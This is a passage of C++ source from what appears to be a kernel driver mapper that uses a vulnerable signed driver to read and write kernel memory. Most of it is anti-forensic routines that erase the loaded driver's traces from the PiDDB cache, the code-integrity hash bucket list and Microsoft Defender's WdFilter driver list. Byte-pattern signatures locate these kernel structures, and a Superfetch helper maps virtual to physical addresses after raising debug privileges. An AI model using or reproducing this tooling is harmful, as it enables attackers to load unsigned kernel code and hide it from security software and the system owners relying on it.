PVOID ts_driver::ResolveRelativeAddress(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) {
ULONG_PTR Instr = (ULONG_PTR)Instruction;
LONG RipOffset = 0;
if (!ReadMemory(Instr + OffsetOffset, &RipOffset, sizeof(LONG)))
return nullptr;
PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset);
return ResolvedAddr;
}
bool ts_driver::ExAcquireResourceExclusiveLite(PVOID Resource, BOOLEAN wait) {
if (!Resource) return 0;
static uint64_t kernel_fn = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite");
if (!kernel_fn) return 0;
BOOLEAN out;
return (CallKernelFunction(&out, kernel_fn, Resource, wait) && out);
}
bool ts_driver::ExReleaseResourceLite(PVOID Resource) {
if (!Resource) return false;
static uint64_t kernel_fn = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "ExReleaseResourceLite");
if (!kernel_fn) return false;
return CallKernelFunction<void>(nullptr, kernel_fn, Resource);
}
BOOLEAN ts_driver::RtlDeleteElementGenericTableAvl(PVOID Table, PVOID Buffer) {
if (!Table) return false;
static uint64_t kernel_fn = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl");
if (!kernel_fn) return false;
bool out;
return (CallKernelFunction(&out, kernel_fn, Table, Buffer) && out);
}
PVOID ts_driver::RtlLookupElementGenericTableAvl(nt::PRTL_AVL_TABLE Table, PVOID Buffer) {
if (!Table) return nullptr;
static uint64_t kernel_fn = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "RtlLookupElementGenericTableAvl");
if (!kernel_fn) return nullptr;
PVOID out;
if (!CallKernelFunction(&out, kernel_fn, Table, Buffer))
return 0;
return out;
}
nt::PiDDBCacheEntry* ts_driver::LookupEntry(nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name) {
nt::PiDDBCacheEntry localentry{};
localentry.TimeDateStamp = timestamp;
localentry.DriverName.Buffer = (PWSTR)name;
localentry.DriverName.Length = (USHORT)(wcslen(name) * 2);
localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2;
return (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(PiDDBCacheTable, (PVOID)&localentry);
}
// Pattern scanning functions (unchanged - they use ReadMemory)
uintptr_t ts_driver::FindPatternAtKernel(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) {
if (!dwAddress) return 0;
if (dwLen > 1024 * 1024 * 1024) return 0;
auto sectionData = std::make_unique<BYTE[]>(dwLen);
if (!ReadMemory(dwAddress, sectionData.get(), dwLen))
return 0;
auto result = kdmUtils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask);
if (result <= 0) return 0;
result = dwAddress - (uintptr_t)sectionData.get() + result;
return result;
}
uintptr_t ts_driver::FindSectionAtKernel(const char* sectionName, uintptr_t modulePtr, PULONG size) {
if (!modulePtr) return 0;
BYTE headers[0x1000];
if (!ReadMemory(modulePtr, headers, 0x1000)) return 0;
ULONG sectionSize = 0;
uintptr_t section = (uintptr_t)kdmUtils::FindSection(sectionName, (uintptr_t)headers, §ionSize);
if (!section || !sectionSize) return 0;
if (size) *size = sectionSize;
return section - (uintptr_t)headers + modulePtr;
}
uintptr_t ts_driver::FindPatternInSectionAtKernel(const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) {
ULONG sectionSize = 0;
uintptr_t section = FindSectionAtKernel(sectionName, modulePtr, §ionSize);
return FindPatternAtKernel(section, sectionSize, bMask, szMask);
}
// ==================== ClearPiDDBCacheTable ====================
bool ts_driver::ClearPiDDBCacheTable() {
#ifdef PDB_OFFSETS
auto PiDDBLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBLock");
if (!PiDDBLockOffset) return false;
auto PiDDBCacheTableOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBCacheTable");
if (!PiDDBCacheTableOffset) return false;
PVOID PiDDBLock = (PVOID)(ts_driver::ntoskrnlAddr + PiDDBLockOffset);
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)(ts_driver::ntoskrnlAddr + PiDDBCacheTableOffset);
#else
auto PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x");
auto PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx");
if (PiDDBLockPtr == NULL) {
PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x");
if (PiDDBLockPtr == NULL) {
PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xB2\x01\x66\xFF\x88\x00\x00\x00\x00\x90\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????xx????xx?x");
if (PiDDBLockPtr == NULL) {
kdmLog(L"[-] Warning PiDDBLock not found" << std::endl);
return false;
}
PiDDBLockPtr += 19;
}
else {
PiDDBLockPtr += 16;
}
}
else {
PiDDBLockPtr += 28;
}
if (PiDDBCacheTablePtr == NULL) {
PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\xF9\x33\xC0\x48\x8D\x0D", "xxxxxxxx");
if (PiDDBCacheTablePtr == NULL) return false;
PiDDBCacheTablePtr += 2;
}
kdmLog("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
kdmLog("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
PVOID PiDDBLock = ResolveRelativeAddress((PVOID)PiDDBLockPtr, 3, 7);
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)ResolveRelativeAddress((PVOID)PiDDBCacheTablePtr, 6, 10);
#endif
if (!ExAcquireResourceExclusiveLite(PiDDBLock, true)) return false;
kdmLog(L"[+] PiDDBLock Locked" << std::endl);
auto n = GetDriverNameW();
auto timestamp = portable_executable::GetNtHeaders((void*)throttlestop_driver_resource::driver)->FileHeader.TimeDateStamp;
nt::PiDDBCacheEntry* pFoundEntry = (nt::PiDDBCacheEntry*)LookupEntry(PiDDBCacheTable, timestamp, n.c_str());
if (pFoundEntry == nullptr) {
kdmLog(L"[+] Not found in PiDDB cache (signed driver, no cleanup needed)" << std::endl);
ExReleaseResourceLite(PiDDBLock);
return true;
}
PLIST_ENTRY prev;
if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) {
ExReleaseResourceLite(PiDDBLock);
return false;
}
PLIST_ENTRY next;
if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) {
ExReleaseResourceLite(PiDDBLock);
return false;
}
kdmLog("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);
if (!WriteMemory((uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) {
ExReleaseResourceLite(PiDDBLock);
return false;
}
if (!WriteMemory((uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) {
ExReleaseResourceLite(PiDDBLock);
return false;
}
if (!RtlDeleteElementGenericTableAvl(PiDDBCacheTable, pFoundEntry)) {
ExReleaseResourceLite(PiDDBLock);
return false;
}
ULONG cacheDeleteCount = 0;
ReadMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
if (cacheDeleteCount > 0) {
cacheDeleteCount--;
WriteMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
}
ExReleaseResourceLite(PiDDBLock);
kdmLog(L"[+] PiDDBCacheTable Cleaned" << std::endl);
return true;
}
// ==================== ClearKernelHashBucketList ====================
bool ts_driver::ClearKernelHashBucketList() {
uint64_t ci = kdmUtils::GetKernelModuleAddress("ci.dll");
if (!ci) return false;
#ifdef PDB_OFFSETS
auto g_KernelHashBucketListOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_KernelHashBucketList");
if (!g_KernelHashBucketListOffset) return false;
auto g_HashCacheLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_HashCacheLock");
if (!g_HashCacheLockOffset) return false;
PVOID g_KernelHashBucketList = (PVOID)(ci + g_KernelHashBucketListOffset);
PVOID g_HashCacheLock = (PVOID)(ci + g_HashCacheLockOffset);
#else
auto sig = FindPatternInSectionAtKernel("PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx");
if (!sig) return false;
auto sig2 = FindPatternAtKernel((uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx");
if (!sig2) return false;
const auto g_KernelHashBucketList = ResolveRelativeAddress((PVOID)sig, 3, 7);
const auto g_HashCacheLock = ResolveRelativeAddress((PVOID)sig2, 3, 7);
if (!g_KernelHashBucketList || !g_HashCacheLock) return false;
#endif
kdmLog(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
if (!ExAcquireResourceExclusiveLite(g_HashCacheLock, true)) return false;
kdmLog(L"[+] g_HashCacheLock Locked" << std::endl);
nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList;
nt::HashBucketEntry* entry = 0;
if (!ReadMemory((uintptr_t)prev, &entry, sizeof(entry))) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
if (!entry) {
ExReleaseResourceLite(g_HashCacheLock);
return true;
}
std::wstring wdname = GetDriverNameW();
std::wstring search_path = GetDriverPath();
SIZE_T expected_len = (search_path.length() - 2) * 2;
while (entry) {
USHORT wsNameLen = 0;
if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
if (expected_len == wsNameLen) {
wchar_t* wsNamePtr = 0;
if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
auto wsName = std::make_unique<wchar_t[]>((ULONG64)wsNameLen / 2ULL + 1ULL);
if (!ReadMemory((uintptr_t)wsNamePtr, wsName.get(), wsNameLen)) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
size_t find_result = std::wstring(wsName.get()).find(wdname);
if (find_result != std::wstring::npos) {
kdmLog(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl);
nt::HashBucketEntry* Next = 0;
if (!ReadMemory((uintptr_t)entry, &Next, sizeof(Next))) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
if (!WriteMemory((uintptr_t)prev, &Next, sizeof(Next))) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
if (!FreePool((uintptr_t)entry)) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
kdmLog(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
ExReleaseResourceLite(g_HashCacheLock);
return true;
}
}
prev = entry;
if (!ReadMemory((uintptr_t)entry, &entry, sizeof(entry))) {
ExReleaseResourceLite(g_HashCacheLock);
return false;
}
}
ExReleaseResourceLite(g_HashCacheLock);
kdmLog(L"[+] Not found in g_KernelHashBucketList (signed driver, no cleanup needed)" << std::endl);
return true;
}
// ==================== ClearWdFilterDriverList ====================
bool ts_driver::ClearWdFilterDriverList() {
auto WdFilter = kdmUtils::GetKernelModuleAddress("WdFilter.sys");
if (!WdFilter) {
kdmLog("[+] WdFilter.sys not loaded, clear skipped" << std::endl);
return true;
}
#ifdef PDB_OFFSETS
uintptr_t MpBmDocOpenRules = KDSymbolsHandler::GetInstance()->GetOffset(L"MpBmDocOpenRules");
if (!MpBmDocOpenRules) return false;
MpBmDocOpenRules += WdFilter;
uintptr_t RuntimeDriversList_Head = MpBmDocOpenRules + 0x70;
uintptr_t RuntimeDriversCount = MpBmDocOpenRules + 0x60;
uintptr_t RuntimeDriversArray = MpBmDocOpenRules + 0x68;
ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t));
uintptr_t MpFreeDriverInfoEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MpFreeDriverInfoEx");
if (!MpFreeDriverInfoEx) return false;
MpFreeDriverInfoEx += WdFilter;
#else
auto RuntimeDriversList = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx");
if (!RuntimeDriversList) return false;
auto RuntimeDriversCountRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx");
if (!RuntimeDriversCountRef) return false;
auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?xx???????????x");
if (!MpFreeDriverInfoExRef) {
MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\x00\x00\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?x???x???????????x");
if (!MpFreeDriverInfoExRef) return false;
MpFreeDriverInfoExRef += 0x3;
}
MpFreeDriverInfoExRef += 0x3;
RuntimeDriversList = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversList, 3, 7);
uintptr_t RuntimeDriversList_Head = RuntimeDriversList - 0x8;
uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversCountRef, 2, 6);
uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8;
ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t));
uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress((PVOID)MpFreeDriverInfoExRef, 1, 5);
#endif
auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* {
LIST_ENTRY* Entry;
if (!ReadMemory(Address, &Entry, sizeof(LIST_ENTRY*))) return 0;
return Entry;
};
for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head);
Entry != (LIST_ENTRY*)RuntimeDriversList_Head;
Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink))))
{
UNICODE_STRING Unicode_String;
if (ReadMemory((uintptr_t)Entry + 0x10, &Unicode_String, sizeof(UNICODE_STRING))) {
auto ImageName = std::make_unique<wchar_t[]>((ULONG64)Unicode_String.Length / 2ULL + 1ULL);
if (ReadMemory((uintptr_t)Unicode_String.Buffer, ImageName.get(), Unicode_String.Length)) {
if (wcsstr(ImageName.get(), ts_driver::GetDriverNameW().c_str())) {
bool removedRuntimeDriversArray = false;
PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10);
for (int k = 0; k < 256; k++) {
PVOID value = 0;
ReadMemory(RuntimeDriversArray + (k * 8), &value, sizeof(PVOID));
if (value == SameIndexList) {
PVOID emptyval = (PVOID)(RuntimeDriversCount + 1);
WriteMemory(RuntimeDriversArray + (k * 8), &emptyval, sizeof(PVOID));
removedRuntimeDriversArray = true;
break;
}
}
if (!removedRuntimeDriversArray) return false;
auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink)));
auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink)));
WriteMemory(uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), &PrevEntry, sizeof(LIST_ENTRY::Blink));
WriteMemory(uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), &NextEntry, sizeof(LIST_ENTRY::Flink));
ULONG current = 0;
ReadMemory(RuntimeDriversCount, ¤t, sizeof(ULONG));
current--;
WriteMemory(RuntimeDriversCount, ¤t, sizeof(ULONG));
uintptr_t DriverInfo = (uintptr_t)Entry - 0x20;
USHORT Magic = 0;
ReadMemory(DriverInfo, &Magic, sizeof(USHORT));
if (Magic != 0xDA18) {
kdmLog("[!] DriverInfo Magic invalid, skipping free" << std::endl);
}
else {
CallKernelFunction<void>(nullptr, MpFreeDriverInfoEx, DriverInfo);
}
kdmLog("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl);
return true;
}
}
}
}
kdmLog("[+] Not found in WdFilterDriverList (signed driver, no cleanup needed)" << std::endl);
return true;
}
include/superfetch.hpp
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <unordered_map>
#include <vector>
#include <memory>
namespace superfetch {
enum SUPERFETCH_INFORMATION_CLASS {
SuperfetchRetrieveTrace = 1,
SuperfetchSystemParameters = 2,
SuperfetchLogEvent = 3,
SuperfetchGenerateTrace = 4,
SuperfetchPrefetch = 5,
SuperfetchPfnQuery = 6,
SuperfetchPfnSetPriority = 7,
SuperfetchPrivSourceQuery = 8,
SuperfetchSequenceNumberQuery = 9,
SuperfetchScenarioPhase = 10,
SuperfetchWorkerPriority = 11,
SuperfetchScenarioQuery = 12,
SuperfetchScenarioPrefetch = 13,
SuperfetchRobustnessControl = 14,
SuperfetchTimeControl = 15,
SuperfetchMemoryListQuery = 16,
SuperfetchMemoryRangesQuery = 17,
SuperfetchTracingControl = 18,
SuperfetchTrimWhileAgingControl = 19,
SuperfetchInformationMax = 20
};
struct SUPERFETCH_INFORMATION {
ULONG Version = 45;
ULONG Magic = 'kuhC';
SUPERFETCH_INFORMATION_CLASS InfoClass;
PVOID Data;
ULONG Length;
};
struct MEMORY_FRAME_INFORMATION {
ULONGLONG UseDescription : 4;
ULONGLONG ListDescription : 3;
ULONGLONG Reserved0 : 1;
ULONGLONG Pinned : 1;
ULONGLONG DontUse : 48;
ULONGLONG Priority : 3;
ULONGLONG Reserved : 4;
};
struct FILEOFFSET_INFORMATION {
ULONGLONG DontUse : 9;
ULONGLONG Offset : 48;
ULONGLONG Reserved : 7;
};
struct PAGEDIR_INFORMATION {
ULONGLONG DontUse : 9;
ULONGLONG PageDirectoryBase : 48;
ULONGLONG Reserved : 7;
};
struct UNIQUE_PROCESS_INFORMATION {
ULONGLONG DontUse : 9;
ULONGLONG UniqueProcessKey : 48;
ULONGLONG Reserved : 7;
};
struct MMPFN_IDENTITY {
union {
MEMORY_FRAME_INFORMATION e1;
FILEOFFSET_INFORMATION e2;
PAGEDIR_INFORMATION e3;
UNIQUE_PROCESS_INFORMATION e4;
} u1;
SIZE_T PageFrameIndex;
union {
struct {
ULONG Image : 1;
ULONG Mismatch : 1;
} e1;
PVOID FileObject;
PVOID UniqueFileObjectKey;
PVOID ProtoPteAddress;
PVOID VirtualAddress;
} u2;
};
struct SYSTEM_MEMORY_LIST_INFORMATION {
SIZE_T ZeroPageCount;
SIZE_T FreePageCount;
SIZE_T ModifiedPageCount;
SIZE_T ModifiedNoWritePageCount;
SIZE_T BadPageCount;
SIZE_T PageCountByPriority[8];
SIZE_T RepurposedPagesByPriority[8];
ULONG_PTR ModifiedPageCountPageFile;
};
struct PF_PFN_PRIO_REQUEST {
ULONG Version;
ULONG RequestFlags;
SIZE_T PfnCount;
SYSTEM_MEMORY_LIST_INFORMATION MemInfo;
MMPFN_IDENTITY PageData[ANYSIZE_ARRAY];
};
struct PF_PHYSICAL_MEMORY_RANGE {
ULONG_PTR BasePfn;
ULONG_PTR PageCount;
};
struct PF_MEMORY_RANGE_INFO_V1 {
ULONG Version;
ULONG RangeCount;
PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY];
};
struct PF_MEMORY_RANGE_INFO_V2 {
ULONG Version;
ULONG Flags;
ULONG RangeCount;
PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY];
};
constexpr ULONG SE_PROF_SINGLE_PROCESS_PRIVILEGE = 13;
constexpr ULONG SE_DEBUG_PRIVILEGE_VAL = 20;
constexpr SYSTEM_INFORMATION_CLASS SystemSuperfetchInformation = (SYSTEM_INFORMATION_CLASS)79;
extern "C" NTSYSAPI NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
struct MemoryRange {
uint64_t pfn;
size_t page_count;
};
using TranslationMap = std::unordered_map<uint64_t, uint64_t>;
inline NTSTATUS QuerySuperfetchInfo(
SUPERFETCH_INFORMATION_CLASS info_class,
PVOID buffer,
ULONG length,
PULONG return_length = nullptr)
{
SUPERFETCH_INFORMATION info;
info.Version = 45;
info.Magic = 'kuhC';
info.InfoClass = info_class;
info.Data = buffer;
info.Length = length;
return NtQuerySystemInformation(SystemSuperfetchInformation,
&info, sizeof(info), return_length);
}
inline bool RaisePrivileges() {
BOOLEAN old = FALSE;
if (!NT_SUCCESS(RtlAdjustPrivilege(SE_PROF_SINGLE_PROCESS_PRIVILEGE, TRUE, FALSE, &old)))
return false;
if (!NT_SUCCESS(RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE_VAL, TRUE, FALSE, &old)))
return false;
return true;
}
inline std::vector<MemoryRange> QueryMemoryRanges() {
std::vector<MemoryRange> ranges;
ULONG buffer_length = 0;
// Try V1
PF_MEMORY_RANGE_INFO_V1 info_v1;
memset(&info_v1, 0, sizeof(info_v1));
info_v1.Version = 1;
NTSTATUS st = QuerySuperfetchInfo(SuperfetchMemoryRangesQuery, &info_v1, sizeof(info_v1), &buffer_length);
if (st == (NTSTATUS)0xC0000023 && buffer_length > 0) {
auto buffer = std::make_unique<uint8_t[]>(buffer_length);
auto info = reinterpret_cast<PF_MEMORY_RANGE_INFO_V1*>(buffer.get());
info->Version = 1;
if (NT_SUCCESS(QuerySuperfetchInfo(SuperfetchMemoryRangesQuery, info, buffer_length))) {
for (uint32_t i = 0; i < info->RangeCount; ++i) {
MemoryRange r;
r.pfn = info->Ranges[i].BasePfn;
r.page_count = info->Ranges[i].PageCount;
ranges.push_back(r);
}
return ranges;
}
}
// Try V2
PF_MEMORY_RANGE_INFO_V2 info_v2;
memset(&info_v2, 0, sizeof(info_v2));
info_v2.Version = 2;
buffer_length = 0;
st = QuerySuperfetchInfo(SuperfetchMemoryRangesQuery, &info_v2, sizeof(info_v2), &buffer_length);
if (st == (NTSTATUS)0xC0000023 && buffer_length > 0) {
auto buffer = std::make_unique<uint8_t[]>(buffer_length);
auto info = reinterpret_cast<PF_MEMORY_RANGE_INFO_V2*>(buffer.get());
info->Version = 2;
if (NT_SUCCESS(QuerySuperfetchInfo(SuperfetchMemoryRangesQuery, info, buffer_length))) {
for (uint32_t i = 0; i < info->RangeCount; ++i) {
MemoryRange r;
r.pfn = info->Ranges[i].BasePfn;
r.page_count = info->Ranges[i].PageCount;
ranges.push_back(r);
}
}
}
return ranges;
}
// Build a VA->PA translation map using Superfetch PFN queries.
// Returns map of (page-aligned VA) -> (PA)
inline TranslationMap BuildTranslationMap() {
TranslationMap map;
if (!RaisePrivileges())
return map;
auto ranges = QueryMemoryRanges();
if (ranges.empty())
return map;
for (const auto& range : ranges) {
size_t buf_len = sizeof(PF_PFN_PRIO_REQUEST) + sizeof(MMPFN_IDENTITY) * range.page_count;
auto buffer = std::make_unique<uint8_t[]>(buf_len);
auto request = reinterpret_cast<PF_PFN_PRIO_REQUEST*>(buffer.get());
request->Version = 1;
request->RequestFlags = 1;
request->PfnCount = range.page_count;
for (uint64_t i = 0; i < range.page_count; ++i)
request->PageData[i].PageFrameIndex = range.pfn + i;
if (!NT_SUCCESS(QuerySuperfetchInfo(SuperfetchPfnQuery, request, (ULONG)buf_len)))
continue;
for (uint64_t i = 0; i < range.page_count; ++i) {
void* virt = request->PageData[i].u2.VirtualAddress;
if (virt) {
uint64_t va_page = reinterpret_cast<uint64_t>(virt) & ~0xFFFull;
uint64_t pa = (range.pfn + i) << 12;
map[va_page] = pa;
}
}
}
return map;
}
// Translate a single VA to PA using a pre-built map
inline uint64_t Translate(const TranslationMap& map, uint64_t va) {
uint64_t va_page = va & ~0xFFFull;
auto it = map.find(va_page);
if (it == map.end())
return 0;
return it->second + (va & 0xFFF);
}
} // namespace superfetch
include/nt.hpp
#pragma once
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma warning(push)
#pragma warning(disable: 4005) //macro redefinition
#include <ntstatus.h>
#pragma warning(pop)
namespace nt
{
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemExtendedHandleInformation = 64;
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING DriverServiceName);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING DriverServiceName);
extern "C" NTSTATUS RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN Client, BOOLEAN* WasEnabled);
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
//Thanks to Pvt Comfy for remember to update this https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ne-wdm-_pool_type
typedef enum class _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute = NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed = NonPagedPool + 2,
DontUseThisType,
NonPagedPoolCacheAligned = NonPagedPool + 4,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS = NonPagedPool + 6,
MaxPoolType,
NonPagedPoolBase = 0,
NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2,
NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4,
NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6,
NonPagedPoolSession = 32,
PagedPoolSession = NonPagedPoolSession + 1,
NonPagedPoolMustSucceedSession = PagedPoolSession + 1,
DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1,
NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1,
PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1,
NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1,
NonPagedPoolNx = 512,
NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4,
NonPagedPoolSessionNx = NonPagedPoolNx + 32,
} POOL_TYPE;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef struct _HashBucketEntry
{
struct _HashBucketEntry* Next;
UNICODE_STRING DriverName;
ULONG CertHash[5];
} HashBucketEntry, * PHashBucketEntry;
typedef struct _RTL_BALANCED_LINKS {
struct _RTL_BALANCED_LINKS* Parent;
struct _RTL_BALANCED_LINKS* LeftChild;
struct _RTL_BALANCED_LINKS* RightChild;
CHAR Balance;
UCHAR Reserved[3];
} RTL_BALANCED_LINKS;
typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS;
typedef struct _RTL_AVL_TABLE {
RTL_BALANCED_LINKS BalancedRoot;
PVOID OrderedPointer;
ULONG WhichOrderedElement;
ULONG NumberGenericTableElements;
ULONG DepthOfTree;
PVOID RestartKey;
ULONG DeleteCount;
PVOID CompareRoutine;
PVOID AllocateRoutine;
PVOID FreeRoutine;
PVOID TableContext;
} RTL_AVL_TABLE;
typedef RTL_AVL_TABLE* PRTL_AVL_TABLE;
typedef struct _PiDDBCacheEntry
{
LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
